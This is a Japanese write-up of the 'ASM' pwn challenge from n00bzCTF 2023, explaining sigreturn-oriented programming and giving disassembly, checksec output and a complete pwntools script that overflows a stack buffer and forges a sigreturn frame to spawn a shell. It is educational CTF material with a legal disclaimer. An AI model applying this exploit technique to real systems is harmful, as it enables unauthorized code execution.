🐈

n00bzCTF 2023 Writeup

2023/06/18に公開

チームで出場し、Pwnを担当しました。

問題数と参加者がそれなりに多いCTFでの全完は初めてでしたのでうれしいです。

以下に面白かった問題のWriteupを記載します。

Pwn-ASM

問題:
What can I say except, "You're welcome" :) Author: NoobHacker

配布物:
srop_me(問題バイナリ)

解法

バイナリ名にもなっている通り、SROP(Sigreturn-oriented programming)を使ってshellを起動させる問題です。

syscall sigrerunはスタックに保持しておいた値をレジスタにセットします。

シグナルが発生した際にkernelは現在の状態をスタックに保持しますが、これを復帰させるためにsigreturnが使われます。

通常はシグナル発生→現在の状態をスタックに保持→シグナルハンドラの実行完了→sigreturnコール→スタック内の値をレジスタに復帰
という流れで処理が進むのだと思われますが、任意のタイミングでsigreturnをコールすることでスタック内の値をレジスタに設定できます。
pop rdiなどのガジェットがなくてもこの方法であれば代用が可能です。

参照:
https://linuxjm.osdn.jp/html/LDP_man-pages/man2/sigreturn.2.html

上記を踏まえて解法を書いていきます。

まず問題バイナリですが、以下のように非常にシンプルな処理になっています。

pwndbg> disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000401000 <+0>:     mov    eax,0x1
   0x0000000000401005 <+5>:     mov    edi,0x1
   0x000000000040100a <+10>:    movabs rsi,0x402000
   0x0000000000401014 <+20>:    mov    edx,0xf
   0x0000000000401019 <+25>:    syscall
   0x000000000040101b <+27>:    sub    rsp,0x20
   0x000000000040101f <+31>:    mov    eax,0x0
   0x0000000000401024 <+36>:    mov    edi,0x0
   0x0000000000401029 <+41>:    mov    rsi,rsp
   0x000000000040102c <+44>:    mov    edx,0x200
   0x0000000000401031 <+49>:    syscall
   0x0000000000401033 <+51>:    add    rsp,0x20
   0x0000000000401037 <+55>:    ret
End of assembler dump.

緩和機構はすべてOFFです。

pwndbg> checksec
[*] '/home/ubuntu/workspace/ctf/n00bctf2023/srop_me'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)

readにより標準入力からデータを0x200だけ受け取ります。
そのため単純なbofがあり、ripを任意の値にセットすることが可能です。

しかしながらpop raxのようなraxに値を入れるガジェットがないので、一見するとexecveをコールできないように思いますが、バイナリの処理内のreadに飛ばすことでこれを解決できます。
readは読み取ったサイズをraxに入れるので、raxの値をある程度操作できます。

あとはrdiに/bin/shのアドレスを設定できればよさそうですが、これはうまくいきません。
そこでsigreturnを使ってレジスタの値を操作することを考えます。

上述したようにsigreturnはスタックからレジスタに値をpopしていくのでsigreturnをコールする際にスタックに値を入れておけば狙ったレジスタに値を設定できます。

また、gdbなどで調べると/bin/shはバイナリ内の0x40200fにあることがわかります。

あとはソルバーを書いていくだけです。
以下の記事を参考にしました。
https://inaz2.hatenablog.com/entry/2014/07/30/021123

※対象のバイナリは64bitなのでcsレジスタには0x33を設定する必要があります。
※csレジスタ: コードセグメントレジスタで0x33にセットすることでコードを64bitモードで実行する

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *vuln
b *vuln+55
continue
'''.format(**locals())


exe = "./srop_me"
elf = context.binary = ELF(exe, checksec=False)
context.arch="amd64"
context.log_level = 'debug'



io = start()
padding = 32 
binsh = p64(0x40200f)
syscall_ret = p64(0x0000000000401047)



payload = flat(
    b"a" * padding,
    0x000000000040101f,
    syscall_ret*5, 
    p64(0)*13,
    binsh,
    p64(0)*4,
    p64(0x3b),
    p64(0),
    p64(0),
    syscall_ret,
    p64(0),
    p64(0x33),
    p64(0) * 8
)

io.sendlineafter(b"world!!",payload)

payload2 = flat(
    "a"*14
)
sleep(1)
io.sendline(payload2)
io.interactive()

※記事内容に不備や誤りなどがあったらTwitterやコメントなどで指摘していただけると幸いです。

※本記事の内容は社会秩序に反する行為を助長、推奨することを目的としたものではありません。許可されている環境以外への攻撃行為は法に触れる可能性があることをご留意ください。

Discussion